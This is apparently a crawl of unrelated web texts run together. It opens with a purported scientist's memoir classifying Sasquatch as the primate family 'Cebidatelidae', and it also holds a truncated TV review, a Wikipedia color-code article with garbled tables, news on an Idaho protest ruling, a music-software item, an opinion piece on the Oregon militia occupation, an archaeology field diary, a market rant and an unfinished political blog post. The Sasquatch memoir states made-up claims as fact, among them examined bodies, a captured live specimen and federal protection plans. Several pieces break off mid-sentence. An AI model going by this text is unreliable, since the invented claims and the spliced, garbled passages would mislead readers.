Both the C. nerteros pacificus and C. texicanus have oversized lower jaws, including massive sternocleidomastoid musculature. This must have been due to their rugged diet and, moreover, their need to crush bones.
Their lower dentum at first looked as a second row of molars. But after years of research and examining the dead bodies of these animals, I have found that the lower molars are simply oversized or fused resulting in massive, bone crushing tools.
Due to their jaw size and bone crushing dentum, it is also clear that all sub-family of this creature are omnivorous, predacious and opportunistic. We did find that the female killed during the Columbus Day storm was pregnant with monozygotic embryos.
All female Cebidatelidae bodies I have investigated throughout my career that have been pregnant have monozygotic embryos; this again, incorporating additional evidence of a new world monkey relationship.
Due to my investigations of the 1950s bodies in Texas and the 1960s PNW Columbus day storm body- I submitted to the Department of Agriculture that this is a new Platyrrhini species and that a new family under the parvorder should be created.
Fellow scientists of mine disagreed given the fact that the creatures we examined in both cases were obviously bipedal and catarrhini in terms of their nostrils facing downward (old world monkeys).
However, the juveniles we have examined are much more platyrrhini in terms of nostril breadth and position.
I won the debate in the end due to the fact that no evidence thus far demonstrates that these creatures crossed over from the old world- but are simply new world monkeys adapting to their various staged areas within North and South America*.
I have since retired and I know of some new University of Utah based scientists and Idaho who understand the genetics a bit better. Their findings are only supporting my original theorems, or at least I am told. These molecular biologists will soon understand the similarities with humans- once the human
genome project is completed.
As a result, I still refer to the Sasquatch species as Cebidatelidae with the following subfamilies:
Cebidatelidae arktos
Cebidatelidae nerteros pacificus
Cebidatelidae somphos
Cebidatelidae americanus
Cebidatelidae texicanus
Cebidatelidae amazonia
*Any of these species found outside the New World must have originated from and migrated out of the new world.
All of my experience with this primate has been post-mortem, save a few unique experiences in the wild. To my knowledge a live specimen has never been captured except for once in Northern Research station in California. However, the animal did not survive in captivity and died after only several days.
I, of course, examined the body. There were many rumors that this captured “Sasquatch” was somehow magical and could shape shift and that is why it couldn’t be found. The truth is… the folks at Northern Research station were very devastated and embarrassed that this live specimen died so quickly after being in captivity. So no, they are not magical. They are highly intelligent primates.
Having one die in captivity is a very difficult to witness due to the human nature and feeling about the species. In reality, captivity will never be realistic for Cebidatelidae because of their size and complex brains. Similar to captive white sharks, the species cannot thrive in captivity and quickly die as a protective mechanism.
I have spent a great deal of my career as an expert for the federal government concerning Cebidatelidae and throughout the world, including the bodies recovered in the 80s due to Mount Saint Helen eruption.
We made many recommendations to protect the species, but the DOI has constant concern regarding the impact of such a decision due to the vast number of areas this species inhabits. Such a decision would have potential negative impacts on the natural resource industry. The USFS is now working more toward creating protective wildlife refuges for Cebidatelidae.
[There is an entire section here that I could not transcribe- Handwriting was illegible]
…others on the team focused on molecular genetics….
[There is an entire section here that I could not transcribe- Handwriting was illegible]
…. the USFS and the DOI is recognizing now that the natural resource industry is not the economic center as it once was. So a final decision has been made to finalize the class 1 identification of the species.
There is a 20 year plan to incorporate all wildlife protection areas throughout many areas of the United States to ensure federal land protection for Cebidatelidae starting with California, Colorado, Idaho, Oregon, Utah, and Washington.
I was upset by this decision because the first location the species was identified scientifically was Texas. I petitioned and as a result, the Government Canyon State Natural Area will be protected, opened to the public and expanded in Bexar County, TX.
The long-term plan will be to open each of these designated “Natural Areas” to the public. Once all of the designated Cebidatelidae “Natural Areas” are open to the public, the DOI will announce the species as an endangered New World Primate.
I am not sure if this will happen, and the Government Canyon State Natural Area will not be open to the public until 2005 and then expanded later in 2009, and then again in 2012. This will all happen long after I am dead I’m afraid.
I am currently still living in Colorado and I have attempted to journal my experience with the discovery of this new massive primate. The species is amazing, powerful, and deadly if angered. Like any animal, it will protect itself, its food source and its young at all cost. Artiodactyla are Cebidatelidaes’ primary food source.
It is imperative that the federal government continue to designate “Natural Areas”. Otherwise, a scarce food resource available to Cebidatelidae will result in more opportunistic feeding behavior and closer interaction between Humans and Cebidatelidae. These creatures and human beings simply do not co-exist.
H.A. Miller, MD, PhD (Now deceased)
Influenced by the writings of Anatomist Dr. Thomas Dwight among which includes: “Frozen Sections of a Child” (1872); “Clinical Atlas of Variations of the Bones of the Hands and Feet” (1907); “Thoughts of a Catholic Anatomist” (1911)
Subscribe To “The Bigfoot Notes From The Field Live Stream Show!”
Here we will have interviews, share encounters, news and in-field updates and community news of the search for Bigfoot.
You can join us on the live stream page every Thursday Night…
@6:30-7:30 PM PST!
Subscribe here.The appearance of a sequel, prequel, or spinoff often signals an attempt to wring the last bit of juice (or cash) out of a proven success: an opportunity for fans to enjoy a familiar dish, warmed over and served up with only a slight variation in flavor. How unexpected and satisfying, then, that Better Call Saul—which features several characters from the popular AMC series Breaking Bad and which has just completed its second season—should offer us something so entirely new. The show features a female character quite unlike any we may have seen in film or on TV; an unusually persuasive portrayal of how an easy romantic friendship can turn into a more difficult love affair; and a vision of fraternal conflict that is morally complex, highly nuanced, and dramatic, at once understandable and extremely peculiar. The new season has proven to be even stronger, funnier, and more focused than the first.
One need not have watched Breaking Bad to enjoy Better Call Saul, but viewers of the earlier series will enjoy learning something (though certainly not everything) about the histories of some of its most engaging characters: what happened before their paths intersected with that of the chemistry-teacher-turned-meth-mogul, Walter White. At the show’s center is Jimmy McGill (Bob Odenkirk), a lawyer who will (we know) reinvent himself as Saul Goodman, with an office in a strip mall, hucksterish TV ads for his practice featuring the slogan that gives the new show its title, and a clientele ranging from Albuquerque’s beleaguered poor to at least one of its successful drug lords.
A talented grifter, known as “Slippin’ Jimmy” since childhood, our hero is, by nature, a rule-breaker (or rule-bender) who keeps trying and failing to play by the rules. As the first season opens, we find Jimmy working as a poorly paid public defender while living in, and managing his minimal legal practice from, a windowless room behind a busy Asian nail salon. Shadiness has never seemed so eloquent or appealing as it does when Jimmy is defending obviously guilty clients, among them, three boys caught, on camera, sodomizing the decapitated head of a corpse in a funeral home. In a speech he’s manically rehearsed in the men’s room, as if the urinals were a jury, Jimmy attempts |
7100000000000000♠ 0.001 – – Silver SR – – ×10−2 × 6998100000000000000♠ 0.01 ±10 K – Gold GD – – ×10−1 × 6999100000000000000♠ 0.1 ±5 J – Black BK 9005 0 ×100 × 7000100000000000000♠ 1 – 250 U Brown BN 8003 1 ×101 × 7001100000000000000♠ 10 ±1 F 100 S Red RD 3000 2 ×102 × 7002100000000000000♠ 100 ±2 G 50 R Orange OG 2003 3 ×103 × 7003100000000000000♠ 1000 ±0.05[3] W 15 P Yellow YE 1021 4 ×104 × 7004100000000000000♠ 10 000 ±0.02[3][nb 1][5] P 25 Q Green GN 6018 5 ×105 × 7005100000000000000♠ 100 000 ±0.5 D 20 Z[nb 2] Blue BU 5015 6 ×106 × 7006100000000000000♠ 1 000 000 ±0.25 C 10 Z[nb 2] Violet VT 4005 7 ×107 × 7007100000000000000♠ 10 000 000 ±0.1 B 5 M Grey GY 7000 8 ×108 × 7008100000000000000♠ 100 000 000 ±0.01[3][nb 3][nb 1][5] L (A) 1 K White WH 1013 9 ×109 × 7009100000000000000♠ 1 000 000 000 – –
One decade of the E12 series (there are twelve preferred values per decade of values) shown with their electronic color codes on resistors
Resistors use various E-series of preferred numbers for their specific values, which are determined by their tolerance. These values repeat for every decade of magnitude:... 0.68, 6.8, 68, 680,... For resistors of 20% tolerance the E6 series, with six values: 10, 15, 22, 33, 47, 68, then 100, 150,... is used; each value is approximately the previous value multiplied by 6√10. For 10% tolerance resistors the E12 series, with 12√10 as multiplier, is used; similar schemes up to E192, for 0.5% or tighter tolerance are used. The separation between the values is related to the tolerance so that adjacent values at the extremes of tolerance approximately just overlap; for example, in the E6 series 10 + 20% is 12, while 15 − 20% is also 12.
Zero ohm resistors, marked with a single black band,[6] are lengths of wire wrapped in a resistor-like body which can be mounted on a printed-circuit board (PCB) by automatic component-insertion equipment. They are typically used on PCBs as insulating "bridges" where two traces would otherwise cross, or as soldered-in jumper wires for setting configurations.
The "body-end-dot" or "body-tip-spot" system was used for cylindrical composition resistors sometimes still found in very old equipment; the first band was given by the body color, the second band by the color of one end of the resistor, and the multiplier by a dot or band around the middle of the resistor. The other end of the resistor was in the body color, silver, or gold for 20%, 10%, 5% tolerance (tighter tolerances were not routinely used).[7][8][9][10]
Capacitor color-coding [ edit ]
Capacitors may be marked with 4 or more colored bands or dots. The colors encode the first and second most significant digits of the value in picofarads, and the third color the decimal multiplier. Additional bands have meanings which may vary from one type to another. Low-tolerance capacitors may begin with the first 3 (rather than 2) digits of the value. It is usually, but not always, possible to work out what scheme is used by the particular colors used. Cylindrical capacitors marked with bands may look like resistors.
Color Significant digits Multiplier Tolerance [%] Characteristic DC working voltage [V] Operating temperature [°C] EIA/vibration [Hz] Black 0 1 — — — −55 to +70 10 to 55 Brown 1 10 ±1 B 100 — — Red 2 100 ±2 C — −55 to +85 — Orange 3 7003100000000000000♠ 1 000 — D 300 — — Yellow 4 7004100000000000000♠ 10 000 — E — −55 to +125 10 to 7003200000000000000♠ 2000 Green 5 7005100000000000000♠ 100 000 ±0.5 F 500 — — Blue 6 7006100000000000000♠ 1 000 000 — — — −55 to +150 — Violet 7 7007100000000000000♠ 10 000 000 — — — — — Grey 8 — — — — — — White 9 — — — — — EIA Gold — — ±5[nb 4] — 7003100000000000000♠ 1000 — — Silver — — ±10 — — — —
Extra bands on ceramic capacitors identify the voltage rating class and temperature coefficient characteristics.[7] A broad black band was applied to some tubular paper capacitors to indicate the end that had the outer electrode; this allowed this end to be connected to chassis ground to provide some shielding against hum and noise pickup.
Polyester film and "gum drop" tantalum electrolytic capacitors may also be color-coded to give the value, working voltage and tolerance.
Inductor color-coding [ edit ]
Standards IEC 60062 / EN 60062 do not define a color code for inductors, but various manufacturers of physically small inductors utilize the resistor color code for this purpose, typically encoding inductance in microhenries.[11] A white tolerance ring may indicate custom specifications.[11]
Diode part number [ edit ]
The part number for small JEDEC "1N"-coded diodes—in the form "1N4148"—is sometimes encoded as three or four rings in the standard color code, omitting the "1N" prefix. The 1N4148 would then be coded as yellow (4), brown (1), yellow (4), grey (8).
Postage stamp capacitors and war standard coding [ edit ]
Postage-stamp mica capacitors marked with the EIA 3-dot and 6-dot color codes, giving capacitance value, tolerance, working voltage, and temperature characteristic. This style of capacitor was used in vacuum-tube equipment.
Capacitors of the rectangular "postage stamp" form made for military use during World War II used American War Standard (AWS) or Joint Army Navy (JAN) coding in six dots stamped on the capacitor. An arrow on the top row of dots pointed to the right, indicating the reading order. From left to right the top dots were: either black, indicating JAN mica, or silver, indicating AWS paper; first significant digit; and second significant digit. The bottom three dots indicated temperature characteristic, tolerance, and decimal multiplier. The characteristic was black for 7003100000000000000♠±1000 ppm/°C, brown for ±500, red for ±200, orange for ±100, yellow for −20 to +100 ppm/°C, and green for 0 to +70 ppm/°C.
A similar six-dot code by EIA had the top row as first, second and third significant digits and the bottom row as voltage rating (in hundreds of volts; no color indicated 500 volts), tolerance, and multiplier. A three-dot EIA code was used for 500 volt 20% tolerance capacitors, and the dots signified first and second significant digits and the multiplier. Such capacitors were common in vacuum tube equipment and in surplus for a generation after the war but are unavailable now.[12]
Mnemonics [ edit ]
A useful mnemonic matches the first letter of the color code, in numeric order. Here are two that includes tolerance codes gold, silver, and none:
B ad b eer r ots o ur y oung g uts b ut v odka g oes w ell – g et s ome n ow. [13]
ad eer ots ur oung uts ut odka oes ell – et ome ow. B B ROY of Great Britain had a Very Good Wife who wore Gold and Silver Necklace.
The colors are sorted in the order of the visible light spectrum: red (2), orange (3), yellow (4), green (5), blue (6), violet (7). Black (0) has no energy, brown (1) has a little more, white (9) has everything and grey (8) is like white, but less intense.[14]
Examples [ edit ]
Example color-coded resistors
From top to bottom:
Green, blue, black, black, brown 560 ohms ±1%
Red, red, orange, gold 7004220000000000000♠ 22 000 ohms ±5%
Yellow, violet, brown, gold 470 ohms ±5%
Blue, grey, black, gold 68 ohms ±5%
The physical size of a resistor is indicative of the power it can dissipate.
There is an important difference between the use of three and of four bands to indicate resistance. The same resistance is encoded by:
Red, red, orange = 22 followed by 3 zeroes = 22,000 (excluding default, silver, or gold tolerance)
= followed by zeroes = 22,000 (excluding default, silver, or gold tolerance) Red, red, black, red = 220 followed by 2 zeroes = 22,000 (excluding brown or other band for tolerance)
Transformer wiring color codes [ edit ]
Power transformers used in North American vacuum-tube equipment were often color-coded to identify the leads. Black was the primary connection, red secondary for the B+ (plate voltage), red with a yellow tracer was the center tap for the B+ full-wave rectifier winding, green or brown was the heater voltage for all tubes, yellow was the filament voltage for the rectifier tube (often a different voltage than other tube heaters). Two wires of each color were provided for each circuit, and phasing was not identified by the color code.
Audio transformers for vacuum tube equipment were coded blue for the finishing lead of the primary, red for the B+ lead of the primary, brown for a primary center tap, green for the finishing lead of the secondary, black for grid lead of the secondary, and yellow for a tapped secondary. Each lead had a different color since relative polarity or phase was more important for these transformers. Intermediate-frequency tuned transformers were coded blue and red for the primary and green and black for the secondary.[12]
Other wiring codes [ edit ]
Wires may be color-coded to identify their function, voltage class, polarity, phase or to identify the circuit in which they are used. The insulation of the wire may be solidly colored, or where more combinations are needed, one or two tracer stripes may be added. Some wiring color codes are set by national regulations, but often a color code is specific to a manufacturer or industry.
Building wiring under the US National Electrical Code and the Canadian Electrical Code is identified by colors to show energized and neutral conductors, grounding conductors and to identify phases. Other color codes are used in the UK and other areas to identify building wiring or flexible cable wiring.
Mains electrical wiring, both in a building and on equipment was once usually red for live, black for neutral, and green for earth, but this was changed as it was a hazard for color-blind people, who might confuse red and green; different countries use different conventions. Red and black are frequently used for positive and negative of battery or other single-voltage DC wiring.
Thermocouple wires and extension cables are identified by color code for the type of thermocouple; interchanging thermocouples with unsuitable extension wires destroys the accuracy of the measurement.
Automotive wiring is color-coded but standards vary by manufacturer; differing SAE and DIN standards exist.
Modern personal computer peripheral cables and connectors are color-coded to simplify connection of speakers, microphones, mice, keyboards and other peripherals, usually according to the PC99 scheme.
A common convention for wiring systems in industrial buildings is: black jacket – AC less than 7003100000000000000♠1,000 volts, blue jacket – DC or communications, orange jacket – medium voltage 7003230000000000000♠2,300 or 7003416000000000000♠4,160 V, red jacket 7004138000000000000♠13,800 V or higher. Red-jacketed cable is also used for relatively low-voltage fire alarm wiring, but has a much different appearance.
Local area network cables may also have non-standardised jacket colors identifying, for example, process control network vs. office automation networks, or to identify redundant network connections, but these codes vary by organization and facility.
See also [ edit ]
E-series of preferred numbers — IEC 60063, which defines series of preferred resistance values.
Color code
Electrical wiring — AC power wiring inside buildings, including standard color codes
Notes [ edit ]
a b Before yellow and grey colored rings were assigned to tolerance values of ±0.02% and ±0.01% with IEC 60062:2016, some manufacturers used yellow and grey as substitute for gold (±5%) and silver (±10%) colored rings in high-voltage resistors to avoid metal particles in the lacquer. a b Any temperature coefficient not assigned its own letter shall be marked "Z", and the coefficient found in other documentation. ^ Before a grey colored ring was assigned to a tolerance of ±0.01% with IEC 60062:2016, some manufacturers used a grey colored ring to indicate a non-standardized tolerance of ±0.05%. ^ ±5% or ±0.5 pF, whichever is greater.
References [ edit ]A federal judge in Idaho agreed this week that officials have no right to keep protesters from demonstrating on the lawn of the state capitol building in Boise.
United States District Judge Lynn Winmill’s Wednesday decision declares that efforts in 2012 to remove protesters from a localized Occupy Wall Street offshoot were unconstitutional.
As that movement began to gain momentum across the US in late 2011, Idaho Gov. Butch Otter signed a law that enacted a handful of rules concerning Occupy Boise protesters wishing to protest on state property, including provisions that outlawed anything on the capitol property considered to be camping.
Judge Winmill wrote this week that a lawsuit filed on behalf of the protesters in 2012 is now moot since the laws were later rescinded, but he nevertheless agreed to make a decision requested by Occupy Boise that could open the door for future protests like the ones that were previously outlawed.
As part of the ruling, Winmill issued a permanent injunction that hereby blocks the state from removing protest tents because he said such conduct “targets political speech for suppression.”
“The defendants’ policy of enforcing I.C. §§ 67-1613–1613A to remove symbolic and assembly tents on State grounds or to prevent protesters from staffing tent protests around the clock violates the First Amendment,” the judge ruled, meaning Idaho officials might be barred from going after demonstrators in the future engaged in politically-focused protests outside the capitol or other state property.
"This has been a long and costly battle over liberties that the State should treasure, not suppress," American Civil Liberties Union Legal Director Ritchie Eppink wrote in an official statement this week. "Let's hope this permanent injunction gets our elected officials to stop and think, and to start welcoming dissent, rather than trying to squelch it."
“They may restore the tent city. The point is, the court found Occupy Boise was exercising its legal right to protest on state property,” he told Reuters.
Judge Winmill’s ruling was announced the same week that officials in new York City agreed to pay almost a total of $600,000 to settle a lawsuit related to the wrongful arrests of 14 protesters at the original Occupy Wall Street encampment in Lower Manhattan.The artist has written the open-source instrument to replicate the feel of a cheap guitar.
Guitarist Bill Orcutt has created an open-source app called Cracked for OS X that allows him to shred with a MIDI controller like an electric guitar.
Best known for his role in Miami noise rock act Harry Pussy, Orcutt is also a software engineer with an interest in electronic music – the 1998 drone album Let’s Build A Pussy was reissued on Editions Mego in 2012.
Speaking to The Wire, Orcutt said: “Lately I’ve been trying to find a more personal approach for making sound on the computer, something that feels like a software equivalent to one of the cheap Silvertone or Kay guitars I use – something primitive and stripped down, where the inner workings are exposed and easily modifiable, and the music feels like it’s being made by you rather than by the program.”
As the video below demonstrates, Orcutt is able to create glitchy, distorted sounds while tapping MIDI pads with the app that sound a lot like a guitarist working a fretboard.
Cracked is free to download from GitHub, but its command line interface might take some getting used to. As he explains, the app “has no traditional user interface, no buttons or knobs, just a window to code into. As you type, changes are interpreted immediately and the sound updates as you go.”
Orcutt says that he’d like to see cheap digital tools replace the current thirst for Eurorack synths, but if you want a modular environment to plug a guitar into, Pittsburgh Modular recently unveiled a patch box for exactly that purpose.
Read next: The best free music production softwareArmed right-wing extremists occupied a federal building in Oregon late on Jan. 2. The white militants, from far-right, anti-government militias led by the infamous Bundy family, announced they would remain there indefinitely, and were willing to "kill or be killed if necessary."
The response of the federal government was lackluster, to put it mildly. Two days into the armed occupation, law enforcement authorities admitted they had no plans to deal with it.
Advertisement:
Gracious, euphemistic media treatment echoed the paltry governmental response.
In response, social media and Op-Ed pages of newspapers were inundated with condemnations of white privilege and arguments that the far-right militants would have been violently removed if they were people of color.
There is a crucial point missing from many of the liberal hot takes on the Oregon paramilitary occupation, however. In their hyper-emphasis on white privilege, many are depoliticizing the situation.
To be clear, these articles are absolutely correct. If the extremists occupying the federal building were not white, they would be attacked.
But if they were leftists, even if they were still white, countless historical examples show they would be attacked, too.
That is to say, race is certainly a big factor; there is no doubt whatsoever about this. But it is not the sole factor. These aren't just any white people occupying a federal building; these are right-wing white people occupying a federal building. The U.S. state is much more accommodating and even supportive of the right.
Advertisement:
If armed white radical leftists occupied a federal property and declared that they were expropriating it to be controlled by the working class, the SWAT team would doubtless be sent in.
This is because the U.S. state is a fundamentally right-wing institution — particularly today, at a time in which neoliberalism has been firmly entrenched for more than three decades.
In fact, it bears stressing that much of what the militants are calling for is actually supported by the U.S. state:
The U.S. government favors privatization, which the armed militants are calling for.
The U.S. government favors nationalism, which the armed militants flaunt in spades.
The U.S. government favors constitutionalism, which the armed militants preach like the Bible.
Many of the people who work in the government would be more than happy to privatize federal lands and other properties. The Bureau of Land Management is chock full of conservatives, and has a long history of opposing left-wing movements — particularly environmental and indigenous ones.
Advertisement:
This is the ultimate irony. The Bureau of Land Management is full of right-wingers pushing a pro-privatization and pro-corporate agenda, but hated by right-wingers who support this very agenda because it is a federal government institution.
None of this is in any way meant to deny the impact of white privilege in the armed Oregon occupation; it certainly is a big factor. Police brutality and state repression are much harsher on activists of color than they are on white activists.
The Black Panther Party was systematically infiltrated and destroyed by the U.S. government, and leaders like Fred Hampton were assassinated (although it should also be remembered that they were revolutionary socialists, not right-wingers).
Advertisement:
The black liberation group MOVE was heinously massacred in 1985, when the U.S. government firebombed its Philadelphia headquarters, killing 11 people and destroying 65 homes (although, once more, they were radical leftists, not rightists).
The American Indian Movement was likewise violently crushed when it occupied Wounded Knee in 1973, with the U.S. government killing two activists and wounding 13 (although, yet again, they were on the left, not the right).
Like the Black Lives Matter civil rights movement today, these past grass-roots movements led by people of color were violently repressed. But the U.S. government feared these movements not just because it is racist (which it mostly definitely is, at a structural level), but also because they were calling for a radical change to the right-wing status quo. These movements were not just led by people of color; they were led by people of color who were radical leftists.
Advertisement:
Again, this is not meant to downplay the influence of white supremacy in federal authorities' reaction to the armed Oregon occupation. But a brief look at history strongly suggests that, if the armed militants occupying the federal facility in Oregon were white leftists, and not white rightists, they would be crushed by the U.S. government.
Historical examples
Leftists have a long history of occupying public spaces. And even when white leftists aren't armed, they face torrents of repression and the roaring brutality of the state.
One does not need to look back far in history — not far at all. Occupy Wall Street was a predominately white movement, and was brutally repressed by police. The U.S. government aggressively cracked down on the peaceful Occupy Wall Street, arresting and brutalizing thousands of people.
How many Tea Party rallies have been broken up by police? Compare that to the enormous number of Occupy rallies that were violently dispersed, with activists rounded up and detained.
Advertisement:
The U.S. government even went so far as to cover up the information on an alleged sniper assassination threat. To this day, it refuses to release records about the plot to murder unarmed, nonviolent Occupy Houston activists.
Environmental movements in the U.S. are also heavily white, and frequently occupy public and corporate spaces in protest of environmentally destructive policies. Groups like Greenpeace or Mountain Justice frequently carry out these forms of direct action -- yet their occupations are often quickly dispersed by police, with violence.
And, of course, there is the Kent State massacre, in which unarmed mostly white students protesting the U.S. military's bloody invasion of Cambodia were mowed down by the Ohio National Guard. Four students were killed, and nine were injured, some left disabled.
Yet the most powerful historical example of all can, in fact, be seen in the earlier left-wing version of today's "patriot" movements.
Advertisement:
In the 1960s and '70s, left-wing white rural movements were violently repressed by the U.S. government, along with the left-wing movements led by people of color. The Young Patriots were a leftist grass-roots organization in Chicago that consisted of poor white activists from Appalachia, who often self-identified as "hillbillies." They were part of the radical leftist Rainbow Coalition (the original Rainbow Coalition, before it was later co-opted by Jesse Jackson), along with the Black Panthers, the Young Lords and the American Indian Movement.
The Patriot Party was a socialist group of white Appalachian activists that splintered off of the Young Patriots in the early 1970s and organized nationally, with branches in New York, Connecticut, D.C. and even Oregon. The Patriots often worked closely with the Black Panthers, who inspired them to make their own free breakfast programs and health clinics in poor predominately white communities. Like the Panthers, the Patriots were crushed by the government. FBI documents released under the Freedom of Information Act show how COINTELPRO spied on and infiltrated the movement, destroying it from the inside.
In their definitive book detailing the history of the movement, "Hillbilly Nationalists, Urban Race Rebels, and Black Power: Community Organizing in Radical Times," authors Amy Sonnie and James Tracy note that, "For the majority of the Patriots, their own experience with political repression was nowhere near the punishment meted out upon Black radicals. Still, a mass arrest of the entire Patriots central committee led to the dissolution of the organization."
This is to say, leftist movements led by both Americans of color and white Americans have been ruthlessly quashed by the U.S. government. It is not just a matter of racism, but also politics and the hegemony of the right wing.
Advertisement:
Depoliticization
In other words, history indicates that the Oregon militia has faced no violent backlash not just because it is white, but also because it is right wing. For, once more, it is not just white people with guns taking over that wildlife refuge; it is right-wing white people with guns.
A sole focus on race depoliticizes the situation. Race is a big factor, and it should not by any means be overlooked, but it is part of a larger political framework.
In general, U.S. law enforcement authorities are going to be easier on people occupying federal properties who are making right-wing, pro-privatization demands, or any other kinds of demands that the U.S. state supports. Left-wing activists who call for public or worker control of or access to federal institutions, or for increased transparency in those institutions, bare the heavy brunt of the state.
That is to say, the U.S. government consistently clamps down much more heavily on left-wing protesters than it does on right-wing ones.
Advertisement:
At the end of the day, the U.S. government does not see right-wing movements -- even far-right ones like those led by the Bundy family and his fellow militiamen -- as threatening as left-wing ones.
Black Lives Matter has been violently repressed by the government not just because it is a civil rights movement, but also because it has explicit left-wing demands that challenge firmly entrenched institutional powers in a way that right-wing protest movements like the Tea Party do not.
If the U.S. state truly considered the right-wing militants in Oregon a threat, their armed occupation would have ended immediately after it started — by force.
Instead of seeing this double standard simply in terms of white privilege, we should see the U.S. government's incredibly gracious and accommodating response to the armed occupation of a federal building by right-wing extremists as reflective of not just the U.S. state's racism, but also its fundamental conservatism.Takeshi Inomata
Takeshi Inomata, a professor of anthropology at the University of Arizona, writes from Guatemala, where he and Daniela Triadan are excavating the Maya site of Ceibal.
Friday, Feb. 25
In archaeology, we examine changes in society and culture systematically through large amounts of data rather than relying on single unique finds. But in the course of our careers, unforgettable discoveries can happen.
One of these magical moments came to me in 2009 when we were excavating Ceibal’s Central Plaza. At a depth of 2.5 meters, we found a cache of 12 axes placed in a pit dug into the natural soil. This was a ritual deposit that marked the beginning of major settlement at Ceibal. These brilliantly polished greenstones shone in the sunlight for the first time since they were buried 3,000 years ago. The beliefs of those who placed them had been lost to us, but we could sense the importance and value that the ancients attached to those stones. We felt incredibly privileged.
It was not serendipity. The cache was exactly what we were looking for in this spot.
A major question in the study of the origins of lowland Maya civilization is its relations with neighboring groups. Some scholars think that lowland Maya developed their remarkable society and culture in relative isolation. Others argue that the Maya received crucial influence from other groups, particularly the Olmec of the southern gulf coast, who were known for colossal head sculptures.
Did the Maya learn the idea of rulership, the ceremonial center and esoteric ritual from them?
Before we started our research at Ceibal, I looked at the map of Ceibal and noticed striking similarities between the contemporaneous sites in the Mexican state of Chiapas and the Olmec capital of La Venta in Tabasco. These sites shared north-south alignments centered on a ceremonial complex consisting of a square pyramid on the west and an elongated mound on the east. In Chiapas sites, these complexes are associated with a series of ax caches. At Ceibal a complex of this type is found in the southern part of the Central Plaza. These observations led me to an idea: If Ceibal indeed had a close connection with the western neighbors, there must be similar ritual deposits waiting to be found in specific locations of Ceibal’s Central Plaza.
Takeshi Inomata
Our 2009 discovery confirmed this idea. And it led to our current excavations around the Central Plaza. We now want to see if a formal architectural complex existed from the beginning of settlement at Ceibal. Two Guatemalan students, María Belén Méndez, a k a Mabe, and Raúl Ortiz, are excavating its western pyramid. Mabe is a cheerful person, with her high spirits always lighting up the whole group. As soon as she joined our team last season, she quickly gained the trust and friendship of local workers, as well as those of her colleagues. Along with her archaeological work, she volunteers to visit the Q’eqchi’ Maya community of Las Pozas every Sunday to help villagers organize micro-saving groups.
Takeshi Inomata
Mabe’s excavation is a 2-by-2-meter shaft dug into the upper part of the pyramid along its center line. Through this excavation, we are hoping to go through all the construction sequence of this building down to its earliest version. Luckily — yes, luckily — we did not find any Classic-period tombs. For the Maya, the center line of a pyramid was their favorite location for burying the bodies of royal family members. Tombs with rich offerings would demand a lot of time and a big effort during their excavation and subsequent lab analysis. We would have to divert substantial resources from our primary goal of exploring early constructions. Now Mabe is safely in the fill of a Preclassic building.
Unlike other Guatemalan students of our project, who are from the University of San Carlos, Guatemala’s national university, Raúl is completing his undergraduate degree at a private school, Del Valle University. Those are the only Guatemalan institutions that offer archaeology degrees. Raúl came to our project in 2008 as a shy, quiet student to fulfill his university’s fieldwork requirements. Since then, he has grown to be one of our most trusted investigators. He is now supervising one of our key operations — a tunnel under the pyramid.
Takeshi Inomata
Tunneling is unlike any other excavation techniques in archaeology, but the method is well established in the Maya area. By digging like moles, archaeologists can see early buried structures without removing later buildings. Our plan was to start a tunnel in the Central Plaza in front of the pyramid and advance toward its core. As soon as he started the tunnel, Raúl found an ax cache. As his tunnel advanced 12 meters, Raúl found two more ax caches. Now his female colleagues call Raúl “chico sensación” — sensation boy!
Raúl’s tunnel is now 14 meters long, deep under the pyramid. Yet we have not found the early building we are looking for. With the weight of 14 meters in thick stone layers hanging over our heads, anxiety grows. Does the pyramid really contain its earliest version dating to 1,000 B.C. in its core? The only way to find out is to keep digging.While nobody gives a rat ass what assorted Stuxnet-infected vacuum tubes are doing with equities any more, the real drama is in the 2s10s30s, where the butterfly has just plunged by over 10% in this morning alone! This is a massive move, driven by the collapse in the 10 year, which at last check was trading at 2.37%, as the only trade is and continues to be the frontrunning of Benny and the Inkjets. The last time we had a move as dramatic and rapid as this was in the November 2008 equity plunge, and the March 2009 decade low. In other words, the bond market is now trading only based on what Pimco says the Fed will do, while stocks are pricing in mild to quite mild hyperinflation, as some administration idiot has floated the idea of $7 trillion in QE. To quote W, make no mistake - $7 trillion in QE would be the proverbial Shazam moment, where D.C. can officially change its name to Harare.
And here is what a completely broken market looks like (again). All correlations are busted now that even DE Shaw and the stat arb quants have ceased trading.With the proliferation of social networking technology online political discussion/debate has become prevalent. The so-called "Social Justice Warrior" [SJW], which is now a pretty stale cliche, has found its home on Twitter, Reddit, Facebook, etc. In such a context, particular "left experts" have emerged whose expertise is premised primarily on their online following. Certain individuals on Twitter/Reddit/Facebook, based on their ability to promote themselves and gain recognition, sometimes emerge (and sometimes just as quickly vanish) as authorities due to nothing more than self-promotion. Some individual who only discovered Marxism two years ago, for example, is suddenly the de facto expert on Marxist theory even if they do not appear to be organizing outside of their tweets/reddits or have any other credentials beyond their own belief in the efficacy of their analysis backed by some followers. No point in naming names; I'm sure you can imagine quite a number of these individuals.What I find both strange and infuriating about these "self-made" leftist internet experts is that they have been able to eke out an authoritative position amongst a primarily disorganized and insular leftist milieu and, because of this authority, function to maintain a status quo of non-participation in anti-capitalist organizing. If all the organizing against capitalism is shit beyond theof states then of course one should not organize in the real world. Better to just stay online and involve oneself in Twitter and Reddit fights. These self-proclaimed experts thus serve as ideological police: by regulating what they take to be leftist reality, based on their own beliefs and no evident practical or theoretical experience, they in fact discourage organization––or, at the very least, conflate it with online agitation. At least that's how it seems.In opposition to these vague qualifications of expertise, then, I think it is worth proposing the qualifications for left expertise which, to my mind, are only two. That is, there are only two categories that should qualify someone as having any authoritative say about the meaning of Marxism though, to be clear, debate over what counts as being included in these categories will necessarily persist.The first category, and hopefully the most obvious/important, is. If you are a part of a communist organization that is more than just a talk shop––that is attempting to organize the masses––then the theoretical understanding developed in this practice produces a certain level of expertise. Of course discussions over what organization matters, and whether or not an organization possesses the kind of practice that develops a correct line, are important. But those debates aside, if you are receiving theoretical training as part of a cadre organization that is not revisionist (and this is part of that debate, yes) in the process of being an organizer, then by the very logic of Marxism you are being made into an expert on the theory since this theory is all about practice. To be clear, I have learned more from communist organizers who have lacked academic credentials then all of the professors who have contributed to my academic training. A vital party project possesses more potential in theoretical training than a Marxist professor cut off from the vicissitudes of organizing. But if you aren't part of such a project, or if you imagine online groups are substitutions for such a project, then you have no basis for your claims.The second category, and one that is weirdly controversial amongst the self-proclaimed Marxist experts, is in fact. Look, I'm not 